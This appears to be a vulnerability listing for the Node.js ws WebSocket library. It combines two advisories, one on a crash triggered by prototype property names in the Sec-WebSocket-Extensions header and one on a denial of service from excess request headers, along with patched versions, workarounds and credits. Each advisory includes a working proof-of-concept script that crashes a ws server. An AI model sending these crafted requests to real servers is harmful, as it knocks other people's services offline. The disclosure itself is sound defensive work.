Version Details and Security Vulnerabilities

Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.

Proof of concept

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Recommendation

Update to version 3.3.1 or later.

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

• https://github.com/websockets/ws/issues/2230
• https://github.com/websockets/ws/pull/2231